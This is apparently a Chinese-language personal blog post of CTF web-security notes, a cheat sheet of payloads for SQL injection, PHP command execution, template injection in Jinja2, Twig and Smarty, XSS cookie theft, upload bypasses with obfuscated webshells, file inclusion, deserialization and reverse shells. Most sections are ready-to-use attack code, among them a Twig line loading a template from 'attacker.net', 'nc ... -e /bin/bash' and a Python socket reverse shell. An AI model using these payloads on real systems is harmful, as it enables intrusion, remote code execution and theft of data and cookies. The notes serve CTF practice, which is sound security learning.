CTF Web 笔记

Web Oct 30, 2020

SQL

堆叠注入

预编译

set @a=[注入内容];
prepare sql from @a;
execute execsql;#

Handler

handler [表名] open;
handler [表名] read first;
handler [表名] close;#

重命名

在 flag 所在的表名被过滤时使用

rename table [原表名] to [新表名];
alter table [表名] [原列名] [新列名] [数据类型];#

假设 flag 所在的表名是 flag_table,列名是 flag
但只允许查询 users 表中的 id 一列
构造:

alter table flag_table flag id varchar(50);
rename table users to temp;
rename table flag_table to users;#

SQL 绕过

  • 过滤空格

    使用 /**/%0a%0b%0c%0d%09%a0以及括号来代替空格

  • 将字段替换为空

    使用双写绕过,如把 select 写成 selselectect,这样就能在替换后变成 select

  • 大小写匹配

    MySQL 是不区分大小写的,如果只过滤了 select 或者 SELECT,可以使用 sELeCt 绕过
    (如果正则匹配式不在后面加上 i,是默认匹配大小写的)

RCE

PHP RCE

无参数 RCE

只能传入多个函数嵌套,且不能传入其他参数
比如过滤条件:

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']) === ';'

使用 localencov、current、pos 等函数来绕过

  1. 扫描当前目录

    localeconv 函数返回一个数组,其中第一项是 .,使用 current 或者 pos 函数选中第一项,再传入 scandir 函数即可扫描当前目录

    var_dump(scandir(current(localeconv())));
    var_dump(scandir(pos(localeconv())));
    
  2. 读取最后一个文件

    如果要读的文件恰好为最后一个,可以使用 end、readfile 或者 show_source 函数读取

    echo(readfile(end(scandir(current(localeconv())))));
    show_source(end(scandir(current(localeconv()))));
    
  3. 随机读取文件

    如果不是最后一个文件,还可以使用 array_flip 和 array_rand 函数来随机读取当前目录的文件

    show_source(array_rand(array_flip(scandir(current(localeconv())))));
    
  4. 上一级目录

    next(scandir(current(localeconv()))) 返回 ..
    可以利用来扫描上一级目录,并读取上一级目录的文件

    chdir(next(scandir(current(localeconv()))));  #转换目录为上一级
    var_dump(scandir(next(scandir(current(localeconv())))));  #扫描上一级目录
    

例题见 [GXYCTF2019]禁止套娃

escapeshellarg & escapeshellcmd 绕过

escapeshellarg 函数把字符串中的单引号转义,并将左右两部分用单引号包起来
如果输入为 127.0.0.1' -d a=1
输出就为 '127.0.0.1'\'' -d a=1'

而 escapeshellcmd 函数会把 &#;`|*?~<>^()[]{}$\、 \x0A 和 \xFF 进行转义,而单引号和双引号仅在不配对的时候进行转义
所以当以上面的输出为这个函数的输入时,
输出为 '127.0.0.1'\\'' -d a=1\'

当这个字符串与 curl 命令连接时就变成了 curl '127.0.0.1'\\'' -d a=1\'
等同于对 127.0.0.1 发送了 POST 请求,成功绕过

例题见 [BUUCTF 2018]Online Tool

preg_replace /e 模式

/e 模式是把正则匹配到特定特征的字符串直接当作 PHP 代码来执行,并用执行结果替换原字符
因为存在代码执行,就可能存在 RCE 漏洞

比如:

<?php
function complex($re, $str)
{
    //把匹配到的字符串当作PHP代码执行后的结果转成小写
    return preg_replace('/('.$re.')/ei', 'strtolower("\\1")', $str);
}
//$re是参数的名称,$str是参数的值
foreach ($_GET as $re => $str) {
    echo complex($re, $str) . "\n";
}

构造 \S*=${phpinfo()}
表达式就变成:

preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${phpinfo()}')

因为 /(\S*)/ 的意思的匹配所有字符串(用 \S 代替 . 的原因是 . 传入后会被 PHP 解析为 _
所以就会直接执行 phpinfo 函数

还可以使用 \S*=${eval($_REQUEST[shell])}&shell=system('whoami'); 来构造 Webshell

例题见 [BJDCTF2020]ZJCTF,不过如此

Bash

  • 使用类似的函数

    cat 命令可以用 headtailtailftacnllessmoresortpaste 代替
    ls 命令可以用 dirll 代替

  • 截断

    \%0a%0d<>

  • 编码

SSRF

协议

  • gopher

    gopher 协议的格式为:

    gopher://[IP]:[端口]/_[TCP数据(URL编码)]
    

    可以使用 Gopher 协议来发起 GET 请求:

    curl gopher://47.94.202.168:80/_GET%20/%20HTTP/1.1%0d%0aHost:%2047.94.202.168%0d%0a
    
  • file

  • local_file

  • dict

SSTI

SSTI

Jinja2

Python 的 Flask 框架使用的模板引擎,是 SSTI 里最常见的

  • 用户配置

    使用 {{config}} 就可以看到配置
    其中的 SECRET_KEY 可以用来伪造 Cookie

  • 查看 Object 类的所有子类

    {{().__class__.__base__.__subclasses__()}}
    {{{}.__class__.__base__.__subclasses__()}}
    {{[].__class__.__bases__[0].__subclasses__()}}
    {{''.__class__.__mro__[-1].__subclasses__()}}
    
  • 任意执行

    在子类中找到一个 __init__ 被重载过的函数
    然后通过 __globals____builtins__ 进行命令执行

    {{().__class__.__base__.__subclasses__()[-1].__init__.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()')}}
    

Twig

一个 PHP 模板引擎

  • RCE

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
    
  • 文件包含

    需要开启 allow_url_include

    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    

例题见 [BJDCTF2020]Cookie is so stable

Smarty

一个 PHP 模板引擎

  • 判断引擎

    一般输入 {$smarty.version} 就可以返回 Smarty 的版本号

  • {literal}{/literal}

    可以让一个模板区域的字符原样输出
    对于 PHP5,可以使用 <script language="php"></script> 来执行 PHP 代码
    应该也可以用来包裹 JavaScript 代码来进行 XSS

  • {if}{/if}
    和 PHP 的 if 非常相似,也可以使用{else} 和 {elseif}
    全部的 PHP 条件表达式和函数都可以在 if 内使用
    可以使用 {if phpinfo()}{/if} 来执行代码

  • {php}{/php}

    在 Smarty3 之前可以用来包裹 PHP 代码
    但在 Smarty3 之后被废弃,仅在 SmartyBC 中可用

  • {::self}

    通过 self 获取 Smarty 类再调用其静态方法实现文件读写
    此方法只适用于旧版本的 Smarty
    文件读取:
    {self::getStreamVariable("file:///etc/passwd")}
    文件写入:
    {Smarty_Internal_Write_File::writeFile("shell.php","<?php eval($_GET['cmd']);",self::clearConfig())}

例题见 [BJDCTF2020]The mystery of ip

Tornado

Python 的一个 Web 框架

  • 用户配置

    使用 {{handler.settings}} 即可

XSS

DOM 型 XSS

<img src="" onerror="alert(document.cookie)" />
<input onfocus="alert(document.cookie)" autofocus />
<input onblur="alert(document.cookie)" autofocus /><input autofocus />

JS 伪协议

<a href="javascript:alert(document.cookie)">click</a>

二次渲染

AngularJS

适用于 Chrome 浏览器和 1.4.8 版本及以下的 AngularJS

例如:

<?php
$template = $_GET['xss'];
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="http://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
  <div ng-app="">
    <h1><?=$template?></h1>
  </div>
</body>
</html>

就可以构造 xss={{3*3}} 来让页面输出 9
再结合沙箱逃逸来进行 XSS,构造:

xss={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(document.cookie)//');}}

详细见 XSS with AngularJS

XSS 绕过

  • 双写绕过

  • 大小写绕过

文件上传

.htaccess

只适用于使用 Apache 作为服务器的时候

  • AddType

    把带有某个后缀名的文件当作 php 文件执行

    AddType application/x-httpd-php .jpg
    

    把所有 jpg 文件都当作 php 文件

  • FilesMatch

    把带有某个文件当作 php 文件执行

    <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    只把 shell.jpg 当作 php 文件

.user.ini

只有在 PHP_INI_PERDIR 和 PHP_INI_USER 模式中的 INI 设置可被识别

.user.ini 相当于一个用户定制的 php.ini
其中有两个配置可以用来植入后门:

  • auto_prepend_file(常用)

    在 .user.ini 所在目录的所有 php 文件的前面包含此文件

  • auto_append_file

    与 auto_prepend_file 基本相同,但是在文件后面包含

构造一个 .user.ini 文件:

auto_prepend_file = "shell.jpg"

这样就可以把 shell.jpg 当作 php 文件执行

文件后缀名检测

  • 换为不常用的后缀名

    PHP 可以把后缀改成 phtmlphtphp3php5
    如果服务器是 Windows 系统可以尝试 php.php::$DATA
    或者先上传 shell.php:.jpg 来生成空的 shell.php 文件,再上传 a.ph< 写入文件内容

  • 00 截断

    把 shell.php 改为 shell.php\00.jpg

  • 大小写

    Windows 系统不会匹配文件名的大小写
    所以如果服务器使用 Windows 系统,同时后端匹配了大小写
    就可以使用 shell.pHp 来进行绕过

  • 多后缀文件解析

    只适用于使用 Apache 作为服务器的时候
    Apache 会将 shell.php.xxx 解析为 PHP 文件

文件内容检测

  • 检测文件头

    在文件最前面加上 GIF89a

  • 过滤 <?php

    • <script language="php"></script>

    • <? ?>

    • <?=

    • <% %>

  • 过滤危险函数名

    • Base64
    <?php $a=base64_decode("YXNzZXJ0");$a($_REQUEST['shell']);?>
    
    • 文件名 __FILE__

    • 函数名 __FUNCTION__

    • 类名 __CLASS__

    • 方法名 __METHOD__

  • 无字母数字 Webshell

    有时后端会过滤一切字母和数字
    就要想办法把 assertPOST 等用其他方法来表示

    • 异或

      先构造一个 Webshell:$_=assert;$__='_'.POST;$___=$$__;$_($___[_]);
      可以通过 POST 方法传入 _=phpinfo(); 来执行命令
      使用不同的特殊符号进行异或操作,来代替字母
      比如上面的 Webshell 代替后就变成:

      $_=('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\');$__='_'.('+'^'{').('/'^'`').('('^'{').('('^'|');$___=$$__;$_($___[_]);
      

      URL 编码后是:

      $_=('%21'^'%40').('%28'^'%5B').('%28'^'%5B').('%25'^'%40').('%29'^'%5B').('%28'^'%5C%5C');$__='_'.('%2B'^'%7B').('/'^'%60').('%28'^'%7B').('%28'^'%7C');$___=$$__;$_($___[_]);
      
    • 取反

      <?php
      $str = 'assert($_POST[_])';
      $str = str_split($str);
      $flag = '';
      foreach ($str as $value) {
          $flag .= ~$value;
      }
      echo "(~" . urlencode($flag) . ")();";
      
    • 自增

      <?php
      $_=[];
      $_=@"$_";
      $_=$_['!'=='@']; //A
      $___=$_;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $___.=$__; //AS
      $___.=$__; //ASS
      $__=$_;
      $__++;$__++;$__++;$__++;
      $___.=$__; //ASSE
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $___.=$__; //ASSER
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $___.=$__; //ASSERT
      
      $____='_';
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $____.=$__; //P
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $____.=$__; //PO
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $____.=$__; //POS
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      
      $_=$$____;
      $___($_[_]); //ASSERT($_POST[_]);
      

MIME 检测

用 Burp Suite 抓一下包,把 Content-Type 改成可以通过检测的类型即可(比如 image/gif)

Open-Basedir 绕过

文件读取

PHP 读取

  • include & require

    有时会有这样的代码:

    $file = $_GET['file'];
    include($file);
    
    • php://filter

      可以构造 file=php://filter/read=convert.base64-encode/resource=flag.php
      来读取出 Base64 编码后的 flag.php 文件,进行解码就可以得到源码

  • file_get_contents

    $text = $_GET['text'];
    //寻找$text文件,当文件内为I have a dream时打印flag
    if(file_get_contents($text)==='I have a dream') {
       echo $flag;
    }
    
    • php://input

      需要开启 allow_url_fopen
      php://input 会读取没有处理过的 POST 数据
      所以先传入 text=php://input,然后再用 POST 方法传入 I have a dream,即可绕过

    • data://

      构造 data://text/plain;base64,SSBoYXZlIGEgZHJlYW0= 后面是 I have a dream 的 Base64 编码
      或者构造text=data://text/plain,I have a dream,直接传入原字符串

Java 读取

/WEB-INF/web.xml 可以找到 class 文件的路径
/WEB-INF/lib
/WEB-INF/src
/WEB-INF/database.properties

例题见 [RoarCTF 2019]Easy Java

Nginx 配置

常见于 Nginx 做反向代理的情况
有时 URL 的路径与本机上的路径并不相符
比如文件存储在 /home 路径,但需要通过 127.0.0.1/file 去访问其中的文件

这里就可能会设置一个 alias:

location /file {
    alias /home/;
}

然后就可以通过 127.0.0.1/file/1.jpg 来访问 /home/1.jpg

URL 上 /files 没有加后缀 /,而 alias 设置的 /home/ 是有后缀 / 的,这个 / 就导致我们可以从 /home/ 目录穿越到他的上层目录,造成任意文件下载
导致可以使用 127.0.0.1/file../ 来访问根目录

反序列化

构建一个对象:

class Person{
    public $name;
    public $sex;
    public $age=19;
}

经过 serialize 函数变成:

O:6:"Person":3:{s:4:"name";N;s:3:"sex";N;s:3:"age";i:19;}

其中 O 表示这是一个对象,6 表示对象名的长度,3 表示存在 3 个属性
第一个属性 s 表示这是一个字符串,4 表示字符串的长度,后面的 N 表示值为空
最后一个属性 i 表示这是整数型,且值为 19

这个对象的三个属性都是 public
当属性是 private 时,会在属性名前加上 \0
当属性是 protected 时,会在属性名前加上 \0*\0

\0 是不可见的,但是仍然占据一字节的长度
在 URL 提交序列化后的对象时,最好先经过 URL 编码

__wakeup 绕过

当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行

如下,把 Person 后的 3 改成 4:

O:6:"Person":4:{s:4:"name";N;s:3:"sex";N;s:3:"age";i:19;}

过滤 0x00

有的题目会过滤传入的\0,比如这个函数:

function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++) {
        //检查有没有除字母、数字、符号以外的字符
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    }
    return true;
}

这就导致带有 private 或 public 属性的对象无法反序列化

  1. 直接把 protected 改为 public(适用于 php 7.1 以上)

  2. 把代表字符串的 s 改为大写,可以写入十六进制数据,把不可见的 \0 改成可见的 \00 并 url 编码(适用于 php 7.1 以下)

$p = new Person();
$s = serialize($p);
$s = str_replace(chr(0),'\00',$s);
$s = str_replace('s:','S:',$s);

例题见 [网鼎杯 2020 青龙组]AreUSerialz

反弹 Shell

nc 命令

  • 有 -e 选项

    在目标机上执行:

    nc [IP地址] [端口] -e /bin/bash
    

    同时在自己的服务器上同时执行:

    nc -lvp [端口]
    
  • 没有 -e 选项

    在目标机上执行:

    nc [IP地址] [端口1] | /bin/bash | nc [IP地址] [端口2]
    

    同时在自己的服务器上同时执行:

    nc -lv [端口1]
    nc -lv [端口2]
    

Socket

在目标机上执行:

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(([IP地址], [端口]))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])

同时在自己的服务器上同时执行:

nc -lvp [端口]

升级 Shell

python -c 'import pty;pty.spawn("/bin/bash")'

字符串格式化

PHP 格式化

Python 格式化

例题见 [高校战“疫”]fmkq

Unicode

Unicode 绕过

  • ⓛocaⓛhost 等同于 localhost

JavaScript 大小写

  • toUpperCase

    'ı'.toUpperCase() = 'I'
    'ſ'.toUpperCase() = 'S'
    'ß'.toUpperCase() = 'SS'

  • toLowerCase

    'K'.toLowerCase() = 'K'

Python 大小写

  • nodeprep.prepare

    可以把字符串变成小写

    ᴬᴰᴹᴵᴺ 一次转换后是 ADMIN
    第二次转换就变成 admin
    其他类似字符见 Unicode Character Table

    例题见 [HCTF 2018]admin

  • upper

    可以使用连字来绕过
    比如 'fl'.upper() = 'FL'
    更多连字见 Graphemica

    例题见 [Hackergame 2020]233 同学的字符串工具

其他

源码泄露

  • 工具导致泄露

    .git:使用 GitHack 获取源码
    .svn & .hg:使用 dvcs-ripper 获取源码
    vim:.[文件名].swp
    gedit:[文件名]~

  • 备份文件

    www.zip/rar/tar/tar.gz
    web.zip/rar/tar/tar.gz
    [文件名].bak

  • robot.txt

  • README.md

哈希比较

这里就用 MD5 举例,原理是一样的

  • 一般比较
$a = $_GET['a'];
$b = $_GET['b'];
if ($a !== $b && md5($a) == md5($b)) {
    echo $flag;
}

构造 a 和 b,使得传入参数哈希后是0e开头即可

MD5:QNKCDZO、240610708、s878926199a、S878926199a
SHA1:aaroZmOk、aaK1STfy、aaO8zKZF、aa3OFF9m

  • 严格比较
$a = $_GET['a'];
$b = $_GET['b'];
if ($a !== $b && md5($a) === md5($b)) {
    echo $flag;
}

传入数组,使得 md5 函数全部返回 false,即相等
payload:a[]=1&b[]=2

  • 严格比较 + 类型转换
$a = $_GET['a'];
$b = $_GET['b'];
if ((string)$a !== (string)$b && md5($a) === md5($b)) {
    echo $flag;
}

这个就只能直接碰了
以下两个 URL 编码的字符串的 MD5 值是相同的:

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

标签

john_doe

Merak 铁菜鸡一枚

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.